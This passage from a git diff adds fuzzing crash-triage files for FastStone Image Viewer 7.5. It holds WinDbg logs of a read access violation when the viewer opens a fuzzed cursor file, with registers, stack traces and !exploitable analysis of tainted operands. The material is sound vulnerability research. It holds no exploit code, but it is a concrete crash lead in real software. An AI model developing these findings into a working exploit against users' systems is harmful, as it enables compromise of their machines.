+ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +ModLoad: 00000000`73730000 00000000`737e9000 C:\Windows\SysWOW64\textinputframework.dll +ModLoad: 00000000`73410000 00000000`734ab000 C:\Windows\SysWOW64\CoreMessaging.dll +ModLoad: 00000000`734b0000 00000000`7372e000 C:\Windows\SysWOW64\CoreUIComponents.dll +ModLoad: 00000000`75430000 00000000`75493000 C:\Windows\SysWOW64\WS2_32.dll +ModLoad: 00000000`733e0000 00000000`73409000 C:\Windows\SysWOW64\ntmarta.dll +ModLoad: 00000000`73300000 00000000`733de000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`73190000 00000000`732f6000 C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.264_none_4298d4188a939fa9\gdiplus.dll +(1f98.1708): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=150d0002 ebx=0000061e ecx=07ea8180 edx=000005a6 esi=128382e0 edi=0dabafd4 +eip=005bdfc9 esp=150cf868 ebp=150cfd10 iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:150d0002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=0020: top=0 cc=0000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0= 0.000000000000000000000e+0000 st1= 0.000000000000000000000e+0000 +st2= 0.000000000000000000000e+0000 st3= 0.000000000000000000000e+0000 +st4= 8.485952749666946320000e+0017 st5= 8.485954467653864960000e+0017 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:150d0002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0 0 0 0 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:150d0002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +150cfd10 0060d6fc 00000000 150cfd78 150cfd48 image00000000_00400000+0x1bdfc9 +150cfd88 005ff93f 150cfde8 005ffbc2 150cfde0 image00000000_00400000+0x20d6fc +150cfde0 0090e28b 150cfdf4 0090e3b5 150cfe38 image00000000_00400000+0x1ff93f +150cfe38 0090efea 150cfea4 150cfea8 150cfeac image00000000_00400000+0x50e28b +150cfec0 008d05d5 150cfed4 008d06ab 150cff00 image00000000_00400000+0x50efea +150cff00 008d0991 150cff14 008d0a43 150cff2c image00000000_00400000+0x4d05d5 +150cff2c 0042c0bf 150cff40 0042c0c9 150cff5c image00000000_00400000+0x4d0991 +150cff5c 00404c22 150cffcc 0040475c 150cff70 image00000000_00400000+0x2c0bf +150cff70 7572f989 07fabec0 7572f970 150cffdc image00000000_00400000+0x4c22 +150cff80 770b7084 07fabec0 29eb16d1 00000000 KERNEL32!BaseThreadInitThunk+0x19 +150cffdc 770b7054 ffffffff 770d62c2 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +150cffec 00000000 00404bf8 07fabec0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x150d0002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05151902 +STACK_DEPTH:12 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x50e28b +STACK_FRAME:image00000000_00400000+0x50efea +STACK_FRAME:image00000000_00400000+0x4d05d5 +STACK_FRAME:image00000000_00400000+0x4d0991 +STACK_FRAME:image00000000_00400000+0x2c0bf +STACK_FRAME:image00000000_00400000+0x4c22 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x05151902) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/66995/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/66995/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..d7c4036 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/66995/WindowsDebugEngine_description.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1F98: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1F98: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +ModLoad: 00000000`73730000 00000000`737e9000 C:\Windows\SysWOW64\textinputframework.dll +ModLoad: 00000000`73410000 00000000`734ab000 C:\Windows\SysWOW64\CoreMessaging.dll +ModLoad: 00000000`734b0000 00000000`7372e000 C:\Windows\SysWOW64\CoreUIComponents.dll +ModLoad: 00000000`75430000 00000000`75493000 C:\Windows\SysWOW64\WS2_32.dll +ModLoad: 00000000`733e0000 00000000`73409000 C:\Windows\SysWOW64\ntmarta.dll +ModLoad: 00000000`73300000 00000000`733de000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`73190000 00000000`732f6000 C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.264_none_4298d4188a939fa9\gdiplus.dll +(1f98.1708): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=150d0002 ebx=0000061e ecx=07ea8180 edx=000005a6 esi=128382e0 edi=0dabafd4 +eip=005bdfc9 esp=150cf868 ebp=150cfd10 iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:150d0002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=0020: top=0 cc=0000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0= 0.000000000000000000000e+0000 st1= 0.000000000000000000000e+0000 +st2= 0.000000000000000000000e+0000 st3= 0.000000000000000000000e+0000 +st4= 8.485952749666946320000e+0017 st5= 8.485954467653864960000e+0017 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:150d0002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0 0 0 0 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:150d0002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +150cfd10 0060d6fc 00000000 150cfd78 150cfd48 image00000000_00400000+0x1bdfc9 +150cfd88 005ff93f 150cfde8 005ffbc2 150cfde0 image00000000_00400000+0x20d6fc +150cfde0 0090e28b 150cfdf4 0090e3b5 150cfe38 image00000000_00400000+0x1ff93f +150cfe38 0090efea 150cfea4 150cfea8 150cfeac image00000000_00400000+0x50e28b +150cfec0 008d05d5 150cfed4 008d06ab 150cff00 image00000000_00400000+0x50efea +150cff00 008d0991 150cff14 008d0a43 150cff2c image00000000_00400000+0x4d05d5 +150cff2c 0042c0bf 150cff40 0042c0c9 150cff5c image00000000_00400000+0x4d0991 +150cff5c 00404c22 150cffcc 0040475c 150cff70 image00000000_00400000+0x2c0bf +150cff70 7572f989 07fabec0 7572f970 150cffdc image00000000_00400000+0x4c22 +150cff80 770b7084 07fabec0 29eb16d1 00000000 KERNEL32!BaseThreadInitThunk+0x19 +150cffdc 770b7054 ffffffff 770d62c2 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +150cffec 00000000 00404bf8 07fabec0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x150d0002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05151902 +STACK_DEPTH:12 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x50e28b +STACK_FRAME:image00000000_00400000+0x50efea +STACK_FRAME:image00000000_00400000+0x4d05d5 +STACK_FRAME:image00000000_00400000+0x4d0991 +STACK_FRAME:image00000000_00400000+0x2c0bf +STACK_FRAME:image00000000_00400000+0x4c22 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x05151902) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/66995/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/66995/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..389ebad Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/66995/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/10563/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/10563/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/10563/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/10563/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/10563/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..c45ab50 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/10563/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/10563/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/10563/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..ff2651e --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/10563/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files 